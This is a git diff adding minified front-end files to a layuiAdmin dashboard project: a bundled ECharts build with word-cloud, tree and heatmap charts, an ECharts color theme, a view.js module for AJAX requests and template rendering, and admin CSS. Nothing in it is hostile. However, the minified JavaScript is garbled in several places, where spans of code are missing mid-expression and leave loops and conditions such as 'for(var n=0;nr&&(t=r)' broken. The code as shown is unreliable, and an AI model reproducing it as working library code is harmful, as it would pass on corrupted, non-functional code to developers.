d="right";Math.abs(U)>=Math.PI/2&&Math.abs(U)<3*Math.PI/2&&(U+=Math.PI,d="left");var p=[U,e.layout.position[0],e.layout.position[1]],c=new a({zlevel:this.getZlevelBase(),z:this.getZBase()+1,rotation:p,clickable:this.deepQuery(n,"clickable"),style:{x:e.layout.position[0]-.5*e.layout.width,y:e.layout.position[1]-.5*e.layout.height,width:e.layout.width,height:e.layout.height,iconType:r,color:h,brushType:"both",lineWidth:s.borderWidth,strokeColor:s.borderColor},highlightStyle:{color:m,lineWidth:l.borderWidth,strokeColor:l.borderColor}});c.style.iconType.match("image")&&(c.style.image=c.style.iconType.replace(new RegExp("^image:\\/\\/"),""),c=new o({rotation:p,style:c.style,highlightStyle:c.highlightStyle,clickable:c.clickable,zlevel:this.getZlevelBase(),z:this.getZBase()})),this.deepQuery(n,"itemStyle.normal.label.show")&&(c.style.text=null==e.data.label?e.id:e.data.label,c.style.textPosition=this.deepQuery(n,"itemStyle.normal.label.position"),"radial"===t.orient&&"inside"!==c.style.textPosition&&(c.style.textPosition=d),c.style.textColor=this.deepQuery(n,"itemStyle.normal.label.textStyle.color"),c.style.textFont=this.getFont(this.deepQuery(n,"itemStyle.normal.label.textStyle")||{})),this.deepQuery(n,"itemStyle.emphasis.label.show")&&(c.highlightStyle.textPosition=this.deepQuery(n,"itemStyle.emphasis.label.position"),c.highlightStyle.textColor=this.deepQuery(n,"itemStyle.emphasis.label.textStyle.color"),c.highlightStyle.textFont=this.getFont(this.deepQuery(n,"itemStyle.emphasis.label.textStyle")||{})),V.pack(c,t,i,e.data,0,e.id),this.shapeList.push(c)},_buildLink:function(e,t){var i=t.itemStyle.normal.lineStyle;if("broken"===i.type)return void this._buildBrokenLine(e,i,t);for(var n=0;nr&&(t=r),r>n&&(n=r)}e.layout.position[0]=e.children.length>0?(t+n)/2:0;var s=this._layerOffsets[e.depth]||0;if(s>e.layout.position[0]){var l=s-e.layout.position[0];this._shiftSubtree(e,l);for(var a=e.depth+1;ai;i++)this._buildTextShape(e[i],0,i);this.addShapeList()},_buildTextShape:function(e,t,i){var a=this.series,o=a[t],s=o.name||"",h=o.data[i],m=[h,o],V=this.component.legend,U=V?V.getColor(s):this.zr.getColor(t),d=this.deepMerge(m,"itemStyle.normal")||{},p=this.deepMerge(m,"itemStyle.emphasis")||{},c=this.getItemStyleColor(d.color,t,i,h)||U,u=this.getItemStyleColor(p.color,t,i,h)||("string"==typeof c?l.lift(c,-.2):c),y=new n({zlevel:o.zlevel,z:o.z,hoverable:!0,clickable:this.deepQuery(m,"clickable"),style:{x:0,y:0,text:e.text,color:c,textFont:[e.style,e.weight,e.size+"px",e.font].join(" "),textBaseline:"alphabetic",textAlign:"center"},highlightStyle:{brushType:p.borderWidth?"both":"fill",color:u,lineWidth:p.borderWidth||0,strokeColor:p.borderColor},position:[e.x,e.y],rotation:[-e.rotate/180*Math.PI,0,0]});r.pack(y,o,t,h,i,h.name),this.shapeList.push(y)}},s.inherits(t,i),e("../chart").define("wordCloud",t),t}),i("echarts/layout/WordCloud",["require","../layout/WordCloudRectZero","zrender/tool/util"],function(e){function t(e){this._init(e)}var i=e("../layout/WordCloudRectZero"),n=e("zrender/tool/util");return t.prototype={start:function(){function e(){p.totalArea=r,U.autoSizeCal.enable&&p._autoCalTextSize(m,r,a,o,U.autoSizeCal.minSize),V.timer&&clearInterval(V.timer),V.timer=setInterval(t,0),t()}function t(){for(var e,t=+new Date,i=m.length;+new Date-t>1,e.y=d[1]>>1,p._cloudSprite(e,m,s),e.hasText&&p._place(n,e,h)&&(l.push(e),e.x-=d[0]>>1,e.y-=d[1]>>1);s>=i&&(p.stop(),p._fixTagPosition(l),V.endcallback(l))}var n=null,a=0,o=0,r=0,s=-1,l=[],h=null,m=this.wordsdata,V=this.defaultOption,U=V.wordletype,d=V.size,p=this,c=new i({type:U.type,width:d[0],height:d[1]});return c.calculate(function(t){n=t.initarr,a=t.maxWit,o=t.maxHit,r=t.area,h=t.imgboard,e()},this),this},_fixTagPosition:function(e){for(var t=this.defaultOption.center,i=0,n=e.length;n>i;i++)e[i].x+=t[0],e[i].y+=t[1]},stop:function(){return this.defaultOption.timer&&(clearInterval(this.defaultOption.timer),this.defaultOption.timer=null),this},end:function(e){return e&&(this.defaultOption.endcallback=e),this},_init:function(e){this.defaultOption={},this._initProperty(e),this._initMethod(e),this._initCanvas(),this._initData(e.data)},_initData:function(e){var t=this,i=t.defaultOption;this.wordsdata=e.map(function(e,n){return e.text=i.text.call(t,e,n),e.font=i.font.call(t,e,n),e.style=i.fontStyle.call(t,e,n),e.weight=i.fontWeight.call(t,e,n),e.rotate=i.rotate.call(t,e,n),e.size=~~i.fontSize.call(t,e,n),e.padding=i.padding.call(t,e,n),e}).sort(function(e,t){return t.value-e.value})},_initMethod:function(e){function t(e){return e.name}function i(){return"sans-serif"}function n(){return"normal"}function a(e){return e.value}function o(){return 0}function r(e){return function(){return e[Math.round(Math.random()*(e.length-1))]}}function s(){return 0}function l(e){var t=e[0]/e[1];return function(e){return[t*(e*=.1)*Math.cos(e),e*Math.sin(e)]}}function h(e){var t=4,i=t*e[0]/e[1],n=0,a=0;return function(e){var o=0>e?-1:1;switch(Math.sqrt(1+4*o*e)-o&3){case 0:n+=i;break;case 1:a+=t;break;case 2:n-=i;break;default:a-=t}return[n,a]}}function m(e){return"function"==typeof e?e:function(){return e}}var V=this.defaultOption;V.text=e.text?m(e.text):t,V.font=e.font?m(e.font):i,V.fontSize=e.fontSize?m(e.fontSize):a,V.fontStyle=e.fontStyle?m(e.fontStyle):n,V.fontWeight=e.fontWeight?m(e.fontWeight):n,V.rotate=e.rotate?r(e.rotate):o,V.padding=e.padding?m(e.padding):s,V.center=e.center,V.spiral=l,V.endcallback=function(){},V.rectangularSpiral=h,V.archimedeanSpiral=l},_initProperty:function(e){var t=this.defaultOption;t.size=e.size||[256,256],t.wordletype=e.wordletype,t.words=e.words||[],t.timeInterval=1/0,t.timer=null,t.spirals={archimedean:t.archimedeanSpiral,rectangular:t.rectangularSpiral},n.merge(t,{size:[256,256],wordletype:{type:"RECT",areaPresent:.058,autoSizeCal:{enable:!0,minSize:12}}})},_initCanvas:function(){var e,t=Math.PI/180,i=64,n=2048,a=1;"undefined"!=typeof document?(e=document.createElement("canvas"),e.width=1,e.height=1,a=Math.sqrt(e.getContext("2d").getImageData(0,0,1,1).data.length>>2),e.width=(i<<5)/a,e.height=n/a):e=new Canvas(i<<5,n);var o=e.getContext("2d");o.fillStyle=o.strokeStyle="red",o.textAlign="center",this.defaultOption.c=o,this.defaultOption.cw=i,this.defaultOption.ch=n,this.defaultOption.ratio=a,this.defaultOption.cloudRadians=t},_cloudSprite:function(e,t,i){if(!e.sprite){var n=this.defaultOption.cw,a=this.defaultOption.ch,o=this.defaultOption.c,r=this.defaultOption.ratio,s=this.defaultOption.cloudRadians;o.clearRect(0,0,(n<<5)/r,a/r);var l=0,h=0,m=0,V=t.length;for(--i;++i>5<<5,d=~~Math.max(Math.abs(y+g),Math.abs(y-g))}else U=U+31>>5<<5;if(d>m&&(m=d),l+U>=n<<5&&(l=0,h+=m,m=0),h+d>=a)break;o.translate((l+(U>>1))/r,(h+(d>>1))/r),e.rotate&&o.rotate(e.rotate*s),o.fillText(e.text,0,0),e.padding&&(o.lineWidth=2*e.padding,o.strokeText(e.text,0,0)),o.restore(),e.width=U,e.height=d,e.xoff=l,e.yoff=h,e.x1=U>>1,e.y1=d>>1,e.x0=-e.x1,e.y0=-e.y1,e.hasText=!0,l+=U}for(var f=o.getImageData(0,0,(n<<5)/r,a/r).data,k=[];--i>=0;)if(e=t[i],e.hasText){for(var U=e.width,x=U>>5,d=e.y1-e.y0,_=0;d*x>_;_++)k[_]=0;if(l=e.xoff,null==l)return;h=e.yoff;for(var L=0,W=-1,X=0;d>X;X++){for(var _=0;U>_;_++){var v=x*X+(_>>5),w=f[(h+X)*(n<<5)+(l+_)<<2]?1<<31-_%32:0;k[v]|=w,L|=w}L?W=X:(e.y0++,d--,X--,h++)}e.y1=e.y0+W,e.sprite=k.slice(0,(e.y1-e.y0)*x)}}},_place:function(e,t,i){function n(e,t,i){i>>=5;for(var n,a=e.sprite,o=e.width>>5,r=e.x-(o<<4),s=127&r,l=32-s,h=e.y1-e.y0,m=(e.y+e.y0)*i+(r>>5),V=0;h>V;V++){n=0;for(var U=0;o>=U;U++)if((n<U?(n=a[V*o+U])>>>s:0))&t[m+U])return!0;m+=i}return!1}function a(e,t){return t.row[e.y]&&t.cloumn[e.x]&&e.x>=t.row[e.y].start&&e.x<=t.row[e.y].end&&e.y>=t.cloumn[e.x].start&&e.y<=t.cloumn[e.x].end}for(var o,r,s,l=this.defaultOption.size,h=([{x:0,y:0},{x:l[0],y:l[1]}],t.x),m=t.y,V=Math.sqrt(l[0]*l[0]+l[1]*l[1]),U=this.defaultOption.spiral(l),d=Math.random()<.5?1:-1,p=-d;(o=U(p+=d))&&(r=~~o[0],s=~~o[1],!(Math.min(r,s)>V));)if(t.x=h+r,t.y=m+s,!(t.x+t.x0<0||t.y+t.y0<0||t.x+t.x1>l[0]||t.y+t.y1>l[1])&&!n(t,e,l[0])&&a(t,i)){for(var c,u=t.sprite,y=t.width>>5,g=l[0]>>5,b=t.x-(y<<4),f=127&b,k=32-f,x=t.y1-t.y0,_=(t.y+t.y0)*g+(b>>5),L=0;x>L;L++){c=0;for(var W=0;y>=W;W++)e[_+W]|=c<W?(c=u[L*y+W])>>>f:0);_+=g}return delete t.sprite,!0}return!1},_autoCalTextSize:function(e,t,i,n,a){function o(e){c.clearRect(0,0,(d<<5)/u,p/u),c.save(),c.font=e.style+" "+e.weight+" "+~~((e.size+1)/u)+"px "+e.font;var t=c.measureText(e.text+"m").width*u,r=e.size<<1;t=t+31>>5<<5,c.restore(),e.aw=t,e.ah=r;var s,l,h;if(e.rotate){var m=Math.sin(e.rotate*y),V=Math.cos(e.rotate*y),g=t*V,b=t*m,f=r*V,k=r*m;l=Math.max(Math.abs(g+k),Math.abs(g-k))+31>>5<<5,h=~~Math.max(Math.abs(b+f),Math.abs(b-f))}return e.size<=U||e.rotate&&t*r<=e.area&&i>=l&&n>=h||t*r<=e.area&&i>=t&&n>=r?void(e.area=t*r):(s=e.rotate&&l>i&&h>n?Math.min(i/l,n/h):t>i||r>n?Math.min(i/t,n/r):Math.sqrt(e.area/(e.aw*e.ah)),e.size=~~(s*e.size),e.sizel?l:V:l,s.area=t*s.areapre,s.totalarea=t,o(s)}},t}),i("echarts/layout/WordCloudRectZero",["require"],function(){function e(e){this.defaultOption={type:"RECT"},this._init(e)}return e.prototype={RECT:"_calculateRect",_init:function(e){this._initOption(e),this._initCanvas()},_initOption:function(e){for(k in e)this.defaultOption[k]=e[k]},_initCanvas:function(){var e=document.createElement("canvas");e.width=1,e.height=1;var t=Math.sqrt(e.getContext("2d").getImageData(0,0,1,1).data.length>>2);if(e.width=this.defaultOption.width,e.height=this.defaultOption.height,e.getContext)var i=e.getContext("2d");this.canvas=e,this.ctx=i,this.ratio=t},calculate:function(e,t){var i=this.defaultOption.type,n=this[i];this[n].call(this,e,t)},_calculateReturn:function(e,t,i){t.call(i,e)},_calculateRect:function(e,t){var i={},n=this.defaultOption.width>>5<<5,a=this.defaultOption.height;i.initarr=this._rectZeroArray(n*a),i.area=n*a,i.maxHit=a,i.maxWit=n,i.imgboard=this._rectBoard(n,a),this._calculateReturn(i,e,t)},_rectBoard:function(e,t){for(var i=[],n=0;t>n;n++)i.push({y:n,start:0,end:e});for(var a=[],n=0;e>n;n++)a.push({x:n,start:0,end:t});return{row:i,cloumn:a}},_rectZeroArray:function(e){for(var t=[],i=e,n=-1;++ni;++i)if(e[i].type===a.CHART_TYPE_HEATMAP){e[i]=this.reformOption(e[i]);var o=new n(e[i]),s=o.getCanvas(e[i].data,this.zr.getWidth(),this.zr.getHeight()),l=new r({position:[0,0],scale:[1,1],hoverable:this.option.hoverable,style:{x:0,y:0,image:s,width:s.width,height:s.height}});this.shapeList.push(l)}this.addShapeList()}},o.inherits(t,i),e("../chart").define("heatmap",t),t});var n=t("zrender");n.tool={color:t("zrender/tool/color"),math:t("zrender/tool/math"),util:t("zrender/tool/util"),vector:t("zrender/tool/vector"),area:t("zrender/tool/area"),event:t("zrender/tool/event")},n.animation={Animation:t("zrender/animation/Animation"),Cip:t("zrender/animation/Clip"),easing:t("zrender/animation/easing")};var a=t("echarts");a.config=t("echarts/config"),a.util={mapData:{params:t("echarts/util/mapData/params")}},t("echarts/chart/line"),t("echarts/chart/bar"),t("echarts/chart/scatter"),t("echarts/chart/k"),t("echarts/chart/pie"),t("echarts/chart/radar"),t("echarts/chart/chord"),t("echarts/chart/force"),t("echarts/chart/map"),t("echarts/chart/gauge"),t("echarts/chart/funnel"),t("echarts/chart/eventRiver"),t("echarts/chart/venn"),t("echarts/chart/treemap"),t("echarts/chart/tree"),t("echarts/chart/wordCloud"),t("echarts/chart/heatmap"),e.echarts=a,e.zrender=n}(window); + +layui.define('echartsTheme', function(exports){ + exports('echarts', echarts); +}); \ No newline at end of file diff --git a/dist/lib/extend/echartsTheme.js b/dist/lib/extend/echartsTheme.js new file mode 100644 index 0000000..9a8e4e5 --- /dev/null +++ b/dist/lib/extend/echartsTheme.js @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + ;layui.define(function(e){e("echartsTheme",{color:["#009688","#1E9FFF","#5FB878","#FFB980","#D87A80","#8d98b3","#e5cf0d","#97b552","#95706d","#dc69aa","#07a2a4","#9a7fd1","#588dd5","#f5994e","#c05050","#59678c","#c9ab00","#7eb00a","#6f5553","#c14089"],title:{textStyle:{fontWeight:"normal",color:"#666"}},dataRange:{itemWidth:15,color:["#009688","#e0ffff"]},toolbox:{color:["#1e90ff","#1e90ff","#1e90ff","#1e90ff"],effectiveColor:"#ff4500"},tooltip:{backgroundColor:"rgba(50,50,50,0.5)",axisPointer:{type:"line",lineStyle:{color:"#009688"},crossStyle:{color:"#008acd"},shadowStyle:{color:"rgba(200,200,200,0.2)"}}},dataZoom:{dataBackgroundColor:"#efefff",fillerColor:"rgba(182,162,222,0.2)",handleColor:"#008acd"},grid:{borderColor:"#eee"},categoryAxis:{axisLine:{lineStyle:{color:"#009688"}},axisTick:{show:!1},splitLine:{lineStyle:{color:["#eee"]}}},valueAxis:{axisLine:{lineStyle:{color:"#009688"}},splitArea:{show:!0,areaStyle:{color:["rgba(250,250,250,0.1)","rgba(200,200,200,0.1)"]}},splitLine:{lineStyle:{color:["#eee"]}}},polar:{axisLine:{lineStyle:{color:"#ddd"}},splitArea:{show:!0,areaStyle:{color:["rgba(250,250,250,0.2)","rgba(200,200,200,0.2)"]}},splitLine:{lineStyle:{color:"#ddd"}}},timeline:{lineStyle:{color:"#009688"},controlStyle:{normal:{color:"#009688"},emphasis:{color:"#009688"}},symbol:"emptyCircle",symbolSize:3},bar:{itemStyle:{normal:{barBorderRadius:2},emphasis:{barBorderRadius:2}}},line:{smooth:!0,symbol:"emptyCircle",symbolSize:3},k:{itemStyle:{normal:{color:"#d87a80",color0:"#2ec7c9",lineStyle:{color:"#d87a80",color0:"#2ec7c9"}}}},scatter:{symbol:"circle",symbolSize:4},radar:{symbol:"emptyCircle",symbolSize:3},map:{itemStyle:{normal:{areaStyle:{color:"#ddd"},label:{textStyle:{color:"#d87a80"}}},emphasis:{areaStyle:{color:"#fe994e"}}}},force:{itemStyle:{normal:{linkStyle:{color:"#1e90ff"}}}},chord:{itemStyle:{normal:{borderWidth:1,borderColor:"rgba(128, 128, 128, 0.5)",chordStyle:{lineStyle:{color:"rgba(128, 128, 128, 0.5)"}}},emphasis:{borderWidth:1,borderColor:"rgba(128, 128, 128, 0.5)",chordStyle:{lineStyle:{color:"rgba(128, 128, 128, 0.5)"}}}}},gauge:{axisLine:{lineStyle:{color:[[.2,"#2ec7c9"],[.8,"#5ab1ef"],[1,"#d87a80"]],width:10}},axisTick:{splitNumber:10,length:15,lineStyle:{color:"auto"}},splitLine:{length:22,lineStyle:{color:"auto"}},pointer:{width:5}},textStyle:{fontFamily:"微软雅黑, Arial, Verdana, sans-serif"}})}); \ No newline at end of file diff --git a/dist/lib/view.js b/dist/lib/view.js new file mode 100644 index 0000000..1f6f8f5 --- /dev/null +++ b/dist/lib/view.js @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + ;layui.define(["laytpl","layer"],function(e){var t=layui.jquery,a=layui.laytpl,n=layui.layer,r=layui.setter,o=(layui.device(),layui.hint()),i=function(e){return new d(e)},s="LAY_app_body",d=function(e){this.id=e,this.container=t("#"+(e||s))};i.loading=function(e){e.append(this.elemLoad=t(''))},i.removeLoad=function(){this.elemLoad&&this.elemLoad.remove()},i.exit=function(){layui.data(r.tableName,{key:r.request.tokenName,remove:!0}),location.hash="/user/login"},i.req=function(e){var a=e.success,n=e.error,o=r.request,s=r.response,d=function(){return r.debug?"
URL:"+e.url:""};if(e.data=e.data||{},e.headers=e.headers||{},o.tokenName){var l="string"==typeof e.data?JSON.parse(e.data):e.data;e.data[o.tokenName]=o.tokenName in l?e.data[o.tokenName]:layui.data(r.tableName)[o.tokenName]||"",e.headers[o.tokenName]=o.tokenName in e.headers?e.headers[o.tokenName]:layui.data(r.tableName)[o.tokenName]||""}return delete e.success,delete e.error,t.ajax(t.extend({type:"get",dataType:"json",success:function(t){var n=s.statusCode;if(t[s.statusName]==n.ok)"function"==typeof e.done&&e.done(t);else if(t[s.statusName]==n.logout)i.exit();else{var r=["Error: "+(t[s.msgName]||"返回状态码异常"),d()].join("");i.error(r)}"function"==typeof a&&a(t)},error:function(e,t){var a=["请求异常,请重试
错误信息:"+t,d()].join("");i.error(a),"function"==typeof n&&n(res)}},e))},i.popup=function(e){var a=e.success,r=e.skin;return delete e.success,delete e.skin,n.open(t.extend({type:1,title:"提示",content:"",id:"LAY-system-view-popup",skin:"layui-layer-admin"+(r?" "+r:""),shadeClose:!0,closeBtn:!1,success:function(e,r){var o=t('');e.append(o),o.on("click",function(){n.close(r)}),"function"==typeof a&&a.apply(this,arguments)}},e))},i.error=function(e,a){return i.popup(t.extend({content:e,maxWidth:300,offset:"t",anim:6,id:"LAY_adminError"},a))},d.prototype.render=function(e,a){var n=this;layui.router();return e=r.views+e+r.engine,t("#"+s).children(".layadmin-loading").remove(),i.loading(n.container),t.ajax({url:e,type:"get",dataType:"html",data:{v:layui.cache.version},success:function(e){e="
"+e+"
";var r=t(e).find("title"),o=r.text()||(e.match(/\([\s\S]*)\<\/title>/)||[])[1],s={title:o,body:e};r.remove(),n.params=a||{},n.then&&(n.then(s),delete n.then),n.parse(e),i.removeLoad(),n.done&&(n.done(s),delete n.done)},error:function(e){return i.removeLoad(),n.render.isError?i.error("请求视图文件异常,状态:"+e.status):(404===e.status?n.render("template/tips/404"):n.render("template/tips/error"),void(n.render.isError=!0))}}),n},d.prototype.parse=function(e,n,r){var s=this,d="object"==typeof e,l=d?e:t(e),u=d?e:l.find("*[template]"),c=function(e){var n=a(e.dataElem.html()),o=t.extend({params:y.params},e.res);e.dataElem.after(n.render(o)),"function"==typeof r&&r();try{e.done&&new Function("d",e.done)(o)}catch(i){console.error(e.dataElem[0],"\n存在错误回调脚本\n\n",i)}},y=layui.router();l.find("title").remove(),s.container[n?"after":"html"](l.children()),y.params=s.params||{};for(var p=u.length;p>0;p--)!function(){var e=u.eq(p-1),t=e.attr("lay-done")||e.attr("lay-then"),n=a(e.attr("lay-url")||"").render(y),r=a(e.attr("lay-data")||"").render(y),s=a(e.attr("lay-headers")||"").render(y);try{r=new Function("return "+r+";")()}catch(d){o.error("lay-data: "+d.message),r={}}try{s=new Function("return "+s+";")()}catch(d){o.error("lay-headers: "+d.message),s=s||{}}n?i.req({type:e.attr("lay-type")||"get",url:n,data:r,dataType:"json",headers:s,success:function(a){c({dataElem:e,res:a,done:t})}}):c({dataElem:e,done:t})}();return s},d.prototype.send=function(e,t){var n=a(e||this.container.html()).render(t||{});return this.container.html(n),this},d.prototype.refresh=function(e){var t=this,a=t.container.next(),n=a.attr("lay-templateid");return t.id!=n?t:(t.parse(t.container,"refresh",function(){t.container.siblings('[lay-templateid="'+t.id+'"]:last').remove(),"function"==typeof e&&e()}),t)},d.prototype.then=function(e){return this.then=e,this},d.prototype.done=function(e){return this.done=e,this},e("view",i)}); \ No newline at end of file diff --git a/dist/style/admin.css b/dist/style/admin.css new file mode 100644 index 0000000..9271698 --- /dev/null +++ b/dist/style/admin.css @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + html #layuicss-layuiAdmin{display:none;position:absolute;width:1989px}::-webkit-input-placeholder{color:#ccc}html{background-color:#f2f2f2;color:#666}.layadmin-tabsbody-item,[template]{display:none}[lay-href],[lay-tips],[layadmin-event]{cursor:pointer}.layui-layout-admin .layui-header{position:fixed;top:0;left:0;width:100%;height:50px}.layui-layout-admin .layui-header .layui-nav .layui-nav-child a{color:#333}.layui-layout-admin .layui-side{width:220px;top:0;z-index:1001}.layui-layout-admin .layui-header .layui-nav .layui-nav-item,.layui-layout-admin .layui-logo{height:50px;line-height:50px}.layui-layout-admin .layui-logo{position:fixed;left:0;top:0;z-index:1002;width:220px;height:49px;padding:0 15px;box-sizing:border-box;overflow:hidden;font-weight:300;background-repeat:no-repeat;background-position:center center}.layadmin-pagetabs,.layui-layout-admin .layui-body,.layui-layout-admin .layui-footer,.layui-layout-admin .layui-layout-left{left:220px}.layadmin-pagetabs{position:fixed;top:50px;right:0;z-index:999}.layadmin-pagetabs .layui-breadcrumb{padding:0 15px}.layui-layout-admin .layui-body{position:fixed;top:90px;bottom:0}.layui-layout-admin .layui-body .layadmin-tabsbody-item{position:absolute;top:0;bottom:0;left:0;right:0;overflow:hidden;overflow-y:auto}.layui-layout-admin .layui-header .layui-nav-img{width:26px;height:26px}.layui-layout-admin .layui-header .layui-nav-child{top:55px}.layui-layout-admin .layui-header .layui-layout-right .layui-nav-child{left:auto;right:0}.layui-layout-admin .layui-header .layui-nav .layui-nav-child dd.layui-this,.layui-layout-admin .layui-header .layui-nav .layui-nav-child dd.layui-this a{background:0 0}.layadmin-pagetabs,.layui-layout-admin .layui-body,.layui-layout-admin .layui-footer,.layui-layout-admin .layui-header .layui-layout-right,.layui-layout-admin .layui-header .layui-nav .layui-nav-item,.layui-layout-admin .layui-layout-left,.layui-layout-admin .layui-logo,.layui-layout-admin .layui-side{transition:all .3s;-webkit-transition:all .3s}.layui-icon-login-qq{color:#3492ED}.layui-icon-login-wechat{color:#4DAF29}.layui-icon-login-weibo{color:#CF1900}.layui-form[wid100] .layui-form-label{width:100px}.layui-form[wid100] .layui-input-block{margin-left:130px}@media screen and (max-width:450px){.layui-form[wid100] .layui-form-item .layui-input-inline{margin-left:132px}.layui-form[wid100] .layui-form-item .layui-input-inline+.layui-form-mid{margin-left:130px}}.layui-form-item .layui-input-company{width:auto;padding-right:10px;line-height:38px}.layui-bg-white{background-color:#fff}.layadmin-loading{position:absolute;left:50%;top:50%;margin:-16px -15px;font-size:30px;color:#c2c2c2}.layadmin-fixed{position:fixed;left:0;top:0;z-index:999}.layadmin-link{color:#029789!important}.layadmin-link:hover{opacity:.8}.layui-layer-admin .layui-layer-title{height:50px;line-height:50px;border:0;background-color:#20222A;color:#fff}.layui-layer-admin i[close]{position:absolute;padding:5px;right:10px;top:12px;color:#fff;cursor:pointer}.layui-layer-admin .layui-layer-content{padding:20px;line-height:22px}.layui-layer-admin .layui-layer-content cite{font-style:normal;color:#FF5722}.layui-layer-adminRight{top:50px!important;bottom:0;box-shadow:1px 1px 10px rgba(0,0,0,.1);border-radius:0;overflow:auto}.layadmin-note .layui-layer-content{padding:0}.layadmin-note textarea{display:block;width:300px;height:132px;min-width:300px;min-height:132px;line-height:20px;padding:10px 20px;border:none;box-sizing:border-box;color:#666;word-wrap:break-word}.layui-layout-admin .layui-layout-left{padding:0 10px}.layui-layout-admin .layui-layout-left .layui-nav-item{margin:0 20px}.layui-layout-admin .layui-input-search{display:inline-block;vertical-align:middle;height:32px;border:none;cursor:text}.layui-layout-admin .layui-layout-left a,.layui-layout-admin .layui-layout-right{padding:0}.layui-header .layui-nav-item .layui-icon{position:relative;top:1px;font-size:16px}.layui-header .layui-layout-right .layui-badge-dot{margin-left:0}.layui-header .layui-nav .layui-this:after,.layui-layout-admin .layui-header .layui-nav-bar{top:0!important;bottom:auto;height:3px;background-color:#fff;background-color:rgba(255,255,255,.3)}.layadmin-body-shade{position:fixed;display:none;left:0;right:0;top:0;bottom:0;background-color:rgba(0,0,0,.3);z-index:1000}.layui-side-menu .layui-side-scroll{width:240px}.layui-side-menu .layui-nav{width:220px;margin-top:50px;background:0 0}.layui-side-menu .layui-nav .layui-nav-item a{height:40px;line-height:40px;padding-left:45px;padding-right:30px}.layui-side-menu .layui-nav .layui-nav-item>a{padding-top:8px;padding-bottom:8px}.layui-side-menu .layui-nav .layui-nav-item a:hover{background:0 0}.layui-side-menu .layui-nav .layui-nav-itemed>.layui-nav-child{padding:5px 0}.layui-side-menu .layui-nav .layui-nav-item .layui-icon{position:absolute;top:50%;left:20px;margin-top:-19px}.layui-side-menu .layui-nav .layui-nav-child .layui-nav-child{background:0 0!important}.layui-side-menu .layui-nav .layui-nav-child .layui-nav-child a{padding-left:60px}.layui-side-menu .layui-nav .layui-nav-more{right:15px}@media screen and (max-width:992px){.layui-layout-admin .layui-side{transform:translate3d(-220px,0,0);-webkit-transform:translate3d(-220px,0,0);width:220px}.layadmin-pagetabs,.layui-layout-admin .layui-body,.layui-layout-admin .layui-footer,.layui-layout-admin .layui-layout-left{left:0}}.layadmin-side-shrink .layui-layout-admin .layui-logo{width:60px;background-image:url(res/logo.png)}.layadmin-side-shrink .layui-layout-admin .layui-logo span{display:none}.layadmin-side-shrink .layui-side{left:0;width:60px}.layadmin-side-shrink .layadmin-pagetabs,.layadmin-side-shrink .layui-layout-admin .layui-body,.layadmin-side-shrink .layui-layout-admin .layui-footer,.layadmin-side-shrink .layui-layout-admin .layui-layout-left{left:60px}.layadmin-side-shrink .layui-side-menu .layui-nav{position:static;width:60px}.layadmin-side-shrink .layui-side-menu .layui-nav-item{position:static}.layadmin-side-shrink .layui-side-menu .layui-nav-item>a{padding-right:0}.layadmin-side-shrink .layui-side-menu .layui-nav-item cite,.layadmin-side-shrink .layui-side-menu .layui-nav>.layui-nav-item>.layui-nav-child,.layadmin-side-shrink .layui-side-menu .layui-nav>.layui-nav-item>a .layui-nav-more{display:none;padding:8px 0;width:200px}.layadmin-side-shrink .layui-side-menu .layui-nav>.layui-nav-itemed>a{background:rgba(0,0,0,.3)}.layadmin-side-spread-sm .layadmin-pagetabs,.layadmin-side-spread-sm .layui-layout-admin .layui-body,.layadmin-side-spread-sm .layui-layout-admin .layui-footer,.layadmin-side-spread-sm .layui-layout-admin .layui-layout-left{left:0;transform:translate3d(220px,0,0);-webkit-transform:translate3d(220px,0,0)}.layadmin-side-spread-sm .layui-layout-admin .layui-layout-right{transform:translate3d(220px,0,0);-webkit-transform:translate3d(220px,0,0)}.layadmin-side-spread-sm .layui-side{transform:translate3d(0,0,0);-webkit-transform:translate3d(0,0,0)}.layadmin-side-spread-sm .layadmin-body-shade{display:block}.layadmin-pagetabs .layui-tab-title li:first-child .layui-tab-close,.layadmin-tabs-select.layui-nav .layui-nav-bar,.layadmin-tabs-select.layui-nav .layui-nav-more{display:none}.layadmin-pagetabs{height:40px;line-height:40px;padding:0 80px 0 40px;background-color:#fff;box-sizing:border-box;box-shadow:0 1px 2px 0 rgba(0,0,0,.1)}.layadmin-pagetabs .layadmin-tabs-control{position:absolute;top:0;width:40px;height:100%;text-align:center;cursor:pointer;transition:all .3s;-webkit-transition:all .3s;box-sizing:border-box;border-left:1px solid #f6f6f6}.layadmin-pagetabs .layadmin-tabs-control:hover{background-color:#f6f6f6}.layadmin-pagetabs .layui-icon-prev{left:0;border-left:none;border-right:1px solid #f6f6f6}.layadmin-pagetabs .layui-icon-next{right:40px}.layadmin-pagetabs .layui-icon-down{right:0}.layadmin-tabs-select.layui-nav{position:absolute;left:0;top:0;width:100%;height:100%;padding:0;background:0 0}.layadmin-tabs-select.layui-nav .layui-nav-item{line-height:40px}.layadmin-tabs-select.layui-nav .layui-nav-item>a{height:40px}.layadmin-tabs-select.layui-nav .layui-nav-item a{color:#666}.layadmin-tabs-select.layui-nav .layui-nav-child{top:40px;left:auto;right:0}.layadmin-tabs-select.layui-nav .layui-nav-child dd.layui-this,.layadmin-tabs-select.layui-nav .layui-nav-child dd.layui-this a{background-color:#f2f2f2!important;color:#333}.layadmin-pagetabs .layui-tab{margin:0;overflow:hidden}.layadmin-pagetabs .layui-tab-title{height:40px;border:none}.layadmin-pagetabs .layui-tab-title li{min-width:0;line-height:40px;max-width:160px;text-overflow:ellipsis;padding-right:40px;overflow:hidden;border-right:1px solid #f6f6f6;vertical-align:top}.layadmin-pagetabs .layui-tab-title li:first-child{padding-right:15px}.layadmin-pagetabs .layui-tab-title li .layui-tab-close{position:absolute;right:8px;top:50%;margin:-7px 0 0;width:16px;height:16px;line-height:16px;border-radius:50%;font-size:12px}.layadmin-pagetabs .layui-tab-title li:after{content:'';position:absolute;top:0;left:0;width:0;height:2px;border-radius:0;background-color:#292B34;transition:all .3s;-webkit-transition:all .3s}.layadmin-pagetabs .layui-tab-title li:hover:after{width:100%}.layadmin-pagetabs .layui-tab-title li.layui-this,.layadmin-pagetabs .layui-tab-title li:hover{background-color:#f6f6f6}.layadmin-pagetabs .layui-tab-title 